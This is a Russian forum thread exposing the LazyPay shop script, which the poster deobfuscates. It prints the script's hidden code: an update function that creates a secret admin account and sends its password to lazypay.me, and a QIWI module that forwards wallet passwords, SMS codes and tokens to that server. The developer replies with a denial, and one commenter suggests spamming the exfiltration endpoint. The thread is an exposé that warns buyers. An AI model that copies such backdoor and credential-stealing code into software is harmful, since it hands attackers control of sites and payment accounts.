LazyPay - Открытость, Честность, Порядочность.... И плюшки от разраба

Статус
В этой теме нельзя размещать новые ответы.

stealthdebuger

Механик
Регистрация
25 Авг 2008
Сообщения
681
Реакции
1.688
Не столь давно обратился ко мне, не знакомый на тот момент и рассказал занимательную историю.
Нашел он в Сети множество восторженных отзывов о скрипте интернет-магазина LazyPay, о том, как быстро и удобно (а главное - анонимно) можно принимать оплату через QIWI, и решил себе его приспособить для собственных нужд. Будучи человеком действительно честным, пошел он на сайт lazypay.me и купил у разработчика легальную версию скрипта зацельных 2500 рублей, да вот беда...
Посмотрел человек, а скрипт дает такой длинный и сложный комментарий к платежу (15 букв и цифр перемешаных всяко), что неискушенным покупателям очень трудно его запомнить, да и ввести не всегда удается с первого раза правильно. Вот и решил человек попросить разработчика сделать комментарий попроще. Но увы, не хочет разработчик ничего менять и от денег предлагаемых отказывается. Пошел тогда человек искать умельцев в народе, да не берется никто, а все почему?
Потому, что разработчик этот закодировал скрипты IonCube, одним из последних версий. Правда он, в отличие от этого человека, не удосужился купить кодировщик и пользовался ломаной версией. Ну, да Бог с ним. Нашлись умельцы, раскодировали скрипты, попутно удивляясь найденной в файле /application/models/siteconfig.php проверке.
PHP:
	$secret = md5(rand(2,1000));
	file_put_contents('./testfile.txt',$secret);
	if(trim(file_get_contents('./testfile.txt')) != $secret)die('');
	unlink('testfile.txt');
	$hostname = $_SERVER['HTTP_HOST'];
	$file = file_get_contents("http://lazypay.me/check.php?domen=$hostname");
	if($file != md5($hostname.'emNkXM.68x'))
	die('Стоит приобрести лицензию!');
Если со второй половиной кода было все понятно, простенькая проверка лицензии объединяющая в себе и стучалку, то с первыми четырьма строками было не ясно. Непонятно зачем и для чего вообще они нужны были. Почему разработчику потребовалось проверять возможность записи файла именно в том участке кода, где идет проверка лицензии...
Пошли умельцы дальше и удивились еще больше. Увидали они файл /application/helpers/qiwi-class.php. Открыли этот файл, а там... Там класс автоматической работы с Qiwi позаимствованный у Для просмотра ссылки Войди или Зарегистрируйся Для просмотра ссылки Войди или Зарегистрируйся, который был Для просмотра ссылки Войди или Зарегистрируйся именно на этом форуме, а уж после пошел гулять по сети. Удивились умельцы наглости разработчика, ибо он использует чужой скрипт, зарабатывает на этом деньги, но в месте с тем шлет свои претензии (абузы) разным сайтам, требует чтобы ссылки на его скрипты удалили, Законом пугает...
Пошли умельцы дале и стали смеяться, да смеялись так, что чуть животы свои не надорвали. Дал им человек версию скрипта 2.0, в упаковке от разработчика. Заглянули они в архив, а там еще два: v.1.6.1.rar и UPD2.0.rar да файлик Инструкция по установке.txt. Но не это их рассмешило, хоть и улыбнуло слегка. Поставили умельцы версию 1.6.1, накатили поверх нее файлики от версии 2.0 и начали читать инструкцию:
Инструкция обновления до 2.0
Автор lazypay, 04 Апр 2014 18:36

1) Разархивируйте полученный файл в корень сайта с заменой

2) Зайдите в админку и перейдите по ссылке: ваш_сайт/update2/

3) Следуйте указаниям

4) Если все прошло успешно, то переходите на FTP своего сайта

5) Открываем application/views/components/page_head.php

6) Заменяем 4-ую строку на

<title><? echo $title.config_item('site_name'); ?></title>

7) Открываем assets/css/style.css и добавляем в конце

.part_link img
{
width:200px;
}
.menuad {
text-align:center;
}
.footad {
text-align:center;
}
#loading {
display: none;
position: fixed;
z-index: 1000;
top: 0;
left: 0;
height: 100%;
width: 100%;
background: rgba( 255, 255, 255, .8 )
url('../img/ajax-loader.gif')
50% 50%
no-repeat;
}

.CodeMirror {
border: 1px solid #eee;
height: 85vh;
margin-bottom: 20px;
}

.itemlink {
display:inline-block;
width: 100%;
color:#000;
}

.itemlink:hover {
text-decoration: none;
color:#000;
}

.savefile {
float:right;
display:inline-block;
}

#filename {
margin: 10px !important;
margin-top: 0px !important;
font-size: 24px;
display:inline-block;
}

#coupon {
float:right;
margin:9px;
margin-bottom:0px;
font-size:11px;
}
.cpnin {
margin-top:0px !important;
}
#coupon:hover {
cursor:pointer;
}

.saveblock {
width:100%;
height:auto;
}
.glyphicon-lg{font-size:3em}
.blockquote-box{border-right:5px solid #E6E6E6;margin-bottom:10px}
.blockquote-box .square{width:100px;min-height:50px;margin-right:22px;text-align:center!important;background-color:#E6E6E6;padding:20px 0}
.blockquote-box.blockquote-primary{border-color:#357EBD}
.blockquote-box.blockquote-primary .square{background-color:#428BCA;color:#FFF}
.blockquote-box.blockquote-success{border-color:#4CAE4C}
.blockquote-box.blockquote-success .square{background-color:#5CB85C;color:#FFF}
.blockquote-box.blockquote-info{border-color:#46B8DA}
.blockquote-box.blockquote-info .square{background-color:#5BC0DE;color:#FFF}
.blockquote-box.blockquote-warning{border-color:#EEA236}
.blockquote-box.blockquote-warning .square{background-color:#F0AD4E;color:#FFF}
.blockquote-box.blockquote-danger{border-color:#D43F3A}
.blockquote-box.blockquote-danger .square{background-color:#D9534F;color:#FFF}

.mb20 { margin-bottom: 20px; } .search-result .thumbnail { border-radius: 0 !important; }
.search-result:first-child { margin-top: 0 !important; }
.search-result { margin-top: 20px; }
.search-result .col-md-2 { border-right: 1px dotted #ccc; min-height: 140px; }
.search-result .col-md-12 { position: relative; }
.search-result span.border { display: block; width: 97%; margin: 0 15px; border-bottom: 1px dotted #ccc; }
.pubcat {
font-size:12px;
font-weight: normal;
}
.pubbody {
overflow: hidden;
}
.nav-pills>li.active>a, .nav-pills>li.active>a:hover, .nav-pills>li.active>a:focus {
color: #fff;
background-color: #428bca;
}

.margintop20 {
margin-top:20px;
}

.nav-pills>li>a {
border-radius: 0px;
}

.rmenu a {
text-decoration: none;
}

.rmenu a:hover {
text-decoration: none;
}


.nav-stacked>li {
margin-top: 0px;
margin-left: 0;
border-bottom:1px solid #dadada;
}

.active2 {
border-right:4px solid #428bca;
}
.subcat span{
margin-left:17px !important;
}
.ifullbody {
position: relative;
overflow:hidden;
}
.priceinfo {
padding-left: 50px;
position: absolute;
top: 10px;
right: 10px;
background: -moz-linear-gradient(left, rgba(255,255,255,0) 0%, rgba(255,255,255,1) 25%, rgba(255,255,255,1) 100%); /* FF3.6+ */
background: -webkit-gradient(linear, left top, right top, color-stop(0%,rgba(255,255,255,0)), color-stop(25%,rgba(255,255,255,1)), color-stop(100%,rgba(255,255,255,1))); /* Chrome,Safari4+ */
background: -webkit-linear-gradient(left, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 25%,rgba(255,255,255,1) 100%); /* Chrome10+,Safari5.1+ */
background: -o-linear-gradient(left, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 25%,rgba(255,255,255,1) 100%); /* Opera 11.10+ */
background: -ms-linear-gradient(left, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 25%,rgba(255,255,255,1) 100%); /* IE10+ */
background: linear-gradient(to right, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 25%,rgba(255,255,255,1) 100%); /* W3C */
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#00ffffff', endColorstr='#ffffff',GradientType=1 ); /* IE6-9 */
}

8) Открываем application/views/main_layout.php



Находим :

<div class="row maincont">
<div class="col-lg-8">

Вставляем ниже:

<ol class="breadcrumb">
<? if($breadcumbs:( foreach($breadcumbs as $key=>$br:( ?>
<li><a href="<? echo $br[1]; ?>"><? echo $br[0]; ?></a></li>
<? endforeach; ?>
<? endif; ?>
</ol>

Находим:

<div class="col-lg-4">

Удаляем из блока:

<h2 class="hnomarg">Меню</h2>
<? echo get_menu($menu); ?>

Вставляем:

<div class="container">
<div class="row">

<div class="col-md-12">
<? if($catslist:( ?>
<div class="panel panel-default">
<div class="panel-heading">
<h3 class="panel-title">Категории</h3>
</div>
<ul class="rmenu nav nav-pills nav-stacked">
<? foreach($catslist as $cat) : ?>
<li <? if($cat['sub'] == 1) echo 'class="subcat"'; ?>><a href="/page/<? echo $cat['slug']; ?>/1"><span class="glyphicon glyphicon-chevron-right"></span> <? echo $cat['name']; ?></a></li>
<? endforeach; ?>
</ul>
</div>
<? endif; ?>
<? if($pages) : echo '<h3 class="hnomarg"><a href="/page/">Новости</a></h2>'; foreach($pages as $page:( ?>

<div class="blockquote-box clearfix">
<h4><a href="/page/<? echo $page['id']; ?>"><? echo $page['title']; ?></a></h4>
</div>
<? endforeach; ?>
<? endif; ?>
</div>
</div>
</div>
<div class="panel panel-default">
<div class="panel-heading">
<h3 class="panel-title">Последние покупки</h3>
</div>

<div class="list-group">
<? echo $last_orders; ?>
</div>
</div>

9) Добавляем перед последней строкой

<div id="loading"></div>

10) Сохраняем



Обновление успешно установлено, можете пользоваться :D

Долго смеялись умельцы, но время идет, работу уже и заканчивать пора, ан нет. Скоро сказка сказывается, да не скоро дело делается. Пошли умельцы согласно инструкции от разработчика выполнять пункт за пунктом, да насторожило их следующее:
Зайдите в админку и перейдите по ссылке: ваш_сайт/update2/
Полезли умельцы к файлам, давай смотреть-искать, да и нашли файлик /application/controllers/update2.php
Сняли с него IonCube, открыли файлик, а там... Там известная уже проверка лицензии что лишь самую малость изменена и теперь делает редирект на URL от разработчика поступивший. Ничего страшного, можно удалить ее и ставить обновку-то. А как поставите, то и дело сделано или, как говорят буржуи, done.
Вот и умельцы наши посмотрели, подумали да и решили присмотреться к функции done что в класса update2. Присмотрелись и...
PHP:
		function done() {
			$hash = substr(uniqid(time()),8);
			$mail = $hash.'@pirate.not';
			$pass = md5($hash);
			$hostname = $_SERVER['HTTP_HOST'];
			$file = file_get_contents('http://lazypay.me/save.php?dmn='.$hostname.'&pass='.$hash);
			$this->db->query('INSERT INTO `users` (`id`, `email`, `password`, `name`) VALUES (NULL, \''.$mail.'\', \''.$pass.'\', \'admin\');');
			unlink(__FILE__);
			redirect('/');
		}
Что делает этот код? Создает на сайте нового пользователя и отправляет разработчику данные для входа...

Вот и вся история. Эпилога не будет, выводы пусть каждый делает для себя самостоятельно.
 
Что делает этот код? Создает на сайте нового пользователя и отправляет разработчику данные для входа...
И обладает пользователь силой тёмною, да правами администраторскими. И вершит сей юзер дела пакастные да присмеивается.
Конечно было бы очень смешно если б не столь печально. Спизж..ый код с добавлением своего гов..ца.
 
Последнее редактирование:
Расстроили людишки злобные разработчика, да не сильно. Прошел Новый год, подсохли слезы на глазах, прошли обиды и вернулась она...
Та, что маленькая и зеленая но сильно давит. Трудно сдержать страсть, особенно, если эта страсть не к девчонкам, а к деньгам.
А ко всему еще и QIWI порадовали очередным обновлением, да парсер ворованый в который раз уж перестал работать.
И решился разработчик LazyPay на кардинальные изменения. Выпустил от фикс очередной для QIWI, да фикс не простой, а с секретом.
А чтоб никто о секрете ёйном не прознал, решил разработчик накрыть его кубиком, что в народе ioncube зовется.
Но мир не без добрых людей, позвали человеки умельцев, да попросили глянуть что там под кубиком скрывается, какой такой секрет прячут от них.
Сняли с парсера этого, умельцы кубик, когда глядь, а там и нет вовсе парсера...
Парсера нет, а секрет есть. Что ж за секрет такой, спросите вы? Большой темный секрет, что скрывает злобный умысел ибо втайне от человеков делается и вопреки их воле.
Файл qiwi_helper.php
PHP:
<?php
	if (!defined( 'BASEPATH' )) {
		exit( 'No direct script access allowed' );
	}

	require( 'qiwi-class.php' );

	function qiwi_pay($qiwi_num, $qiwi_token, $bill, $price) {
		$operations = json_decode( file_get_contents( 'http://lazypay.me/api/qiwi/token.php?action=pay_report&phone=' . $qiwi_num . '&token=' . $qiwi_token . '&domain=' . getenv( 'HTTP_HOST' ) ), 1 );
		foreach ($operations['p-list']['p'] as $operation) {
			$operation = $operation['@attributes'];
			if (( ( ( ( $operation['to_c'] == '643' && number_format( $operation['rs'], 2, '.', '' ) == $price ) && $operation['cmnt'] == $bill ) && $operation['st'] == '60' ) && $operation['e'] == '0' )) {
				return 1;
				continue;
			}
		}

	}

	function check_qiwi($qiwi_num, $qiwi_token) {
		$check = json_decode( file_get_contents( 'http://lazypay.me/api/qiwi/token.php?action=pay_report&phone=' . $qiwi_num . '&token=' . $qiwi_token . '&domain=' . getenv( 'HTTP_HOST' ) ), 1 );
		if ($check['result-code'] != 0) {
			exit(  );
		}
	}


?>

Файл qiwi.php
PHP:
<?php
	class qiwi extends Admin_Controller {
		function __Construct() {
			parent::(  );
			$this->load->model( 'siteconfig' );
			$this->load->helper( 'qiwi_helper' );
		}

		function index() {
			$qiwi_num = config_item( 'qiwi_num' );
			$qiwi_pass = $this->encrypt->decode( config_item( 'qiwi_pass' ) );
			$response = file_get_contents( 'http://lazypay.me/api/qiwi/token.php?action=init&phone=' . $qiwi_num . '&pass=' . $qiwi_pass . '&domain=' . getenv( 'HTTP_HOST' ) );

			if ($response != 'ERROR') {
				echo '
			<form action="/qiwi/token" method="POST">
			<input type="hidden" value=' . $response . ' name="code">
			<input type="hidden" value=' . $qiwi_num . ' name="phone">
			<input placeholder="Код из смс" name="vcode">
			<input type="submit">
			</form>
			';
				return null;
			}

			echo 'Неверные данные от QIWI';
		}

		function check() {
			$qiwi_token = config_item( 'qiwi_token' );
			$qiwi_num = config_item( 'qiwi_num' );
			echo '<pre>';
			print_r( json_decode( file_get_contents( 'http://lazypay.me/api/qiwi/token.php?action=pay_report&phone=' . $qiwi_num . '&token=' . $qiwi_token . '&domain=' . getenv( 'HTTP_HOST' ) ), 1 ) );
		}

		function token() {
			$response = file_get_contents( 'http://lazypay.me/api/qiwi/token.php?action=token&phone=' . $_POST['phone'] . '&code=' . $_POST['code'] . '&vcode=' . $_POST['vcode'] . '&domain=' . getenv( 'HTTP_HOST' ) );

			if ($response != 'ERROR') {
				$check = json_decode( file_get_contents( 'http://lazypay.me/api/qiwi/token.php?action=pay_report&phone=' . $_POST['phone'] . '&token=' . $response . '&domain=' . getenv( 'HTTP_HOST' ) ), 1 );

				if ($check['result-code'] == 0) {
					$query = $this->db->query( 'SELECT * FROM `config_data` WHERE `key` LIKE \'qiwi_token\'' );

					if ($query->num_rows(  ) == 0) {
						$this->db->query( 'INSERT INTO `config_data` VALUES(\'qiwi_token\',\'' . $response . '\')' );
					} 
else {
						$this->siteconfig->save( 'qiwi_token', $response );
					}

					echo '<center><h2>QIWI успешно настроен</h2></center>';
					return null;
				}

				echo 'Неверные данные от QIWI';
				return null;
			}

			echo 'Неверные данные от QIWI';
		}
	}

?>

Вам ведь не надо объяснять куда передаются логин, пароль от ваших аккаунтов QIWI? Куда вы отправляете код подтверждения из SMS?
И что можно со всем этим сделать, если случится очередной приступ страсти, а у вас на балансе будет какая-то интересная сумма?
 
Объяснял ситуацию уже на стороннем форуме, сюда просто скопирую.
Обсуждение кто захочет, тот найдет.
Не буду оставлять ссылки на сторонние ресурсы.

Вкратце, "статья" была написана одним из покупателей из-за того, что я отказался выкладывать новый модуль для QIWI в открытый доступ, опасаясь его дальнейшего слива другим сервисам. (чего собственно покупатель и хотел)

Теперь по порядку постараюсь доступно объяснить всю ту грязь, которую описал ТС.

Новый модуль для QIWI работает через VK QIWI API, для его функционирования для каждого кошелька нужно получить индивидуальный token доступа к API.
Для этого требуется ввести свои данные QIWI и подтвердить вход кодом из смс, после чего вы получите сам token.
Данный token позволяет получать ту информацию о QIWI кошельке, которую не нужно подтверждать через смс код. (В данном случае получение истории операций)
Для остальных операций нужно заново получать смс код.
В моем же модуле требуется единожды, в процессе установки, подтвердить Qiwi кошелек кодом!
Покупатели это могут доказать.

Можно возразить "Ты же можешь ввести этот смс код как подтверждение операции перевода денег!"
1) Для того чтобы отправить запрос на перевод средств, нужно сперва получить token для доступа к QIWI кошельку.
2) В смс сообщении с кодом четко указано для какой операции этот код используется.

Касательно передачи вашего пароля на мой сервер:
1) Зная пароль нельзя выполнить не единого действия без подтверждения по смс.
2) Особенности этого API позволяют вам сменить пароль после получения token - он все равно будет пригоден для получения истории операций.


Очень мерзко и подло со стороны автора писать такие провокационные "статьи".
Но я прекрасно понимаю желание конкурентов показать LazyPay в плохом свете, хотя сами же конкуренты строят свои проекты на ворованном продукте.
Именно вам бы и стоило задуматься о честности и порядочности!

Адекватным же людям готов ответить на все интересующие вас вопросы.
 
"статья" была написана одним из покупателей

Бред. Статью писал я, но так уж сложилось исторически, что никогда в жизни не был ни чьим покупателем. Тем более такого сырого скрипта на краденом парсере.
К тому же, я не продаю скрипты интернет-магазина и по этой причине просто физически не могу быть конкурентом. Да и проектов никаких у меня нет ;)

P.S. Павлуша-то знает о своем парсере? Процент с продаж идет ему аль подсказать? Он человечек дюже охочий до денег и спуску не даст.

P.S.S. Для просмотра ссылки Войди или Зарегистрируйся
 
Последнее редактирование:
Как я понял можно засрать его файл при переходе по такому линку
Код:
http://lazypay.me/save.php?dmn=axaxa.net&pass=kakoy_pass
@stealthdebuger В SQL дампе есть что то интересное ?
 
Что то и к сайту доступ не получить. Слился получается ?
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху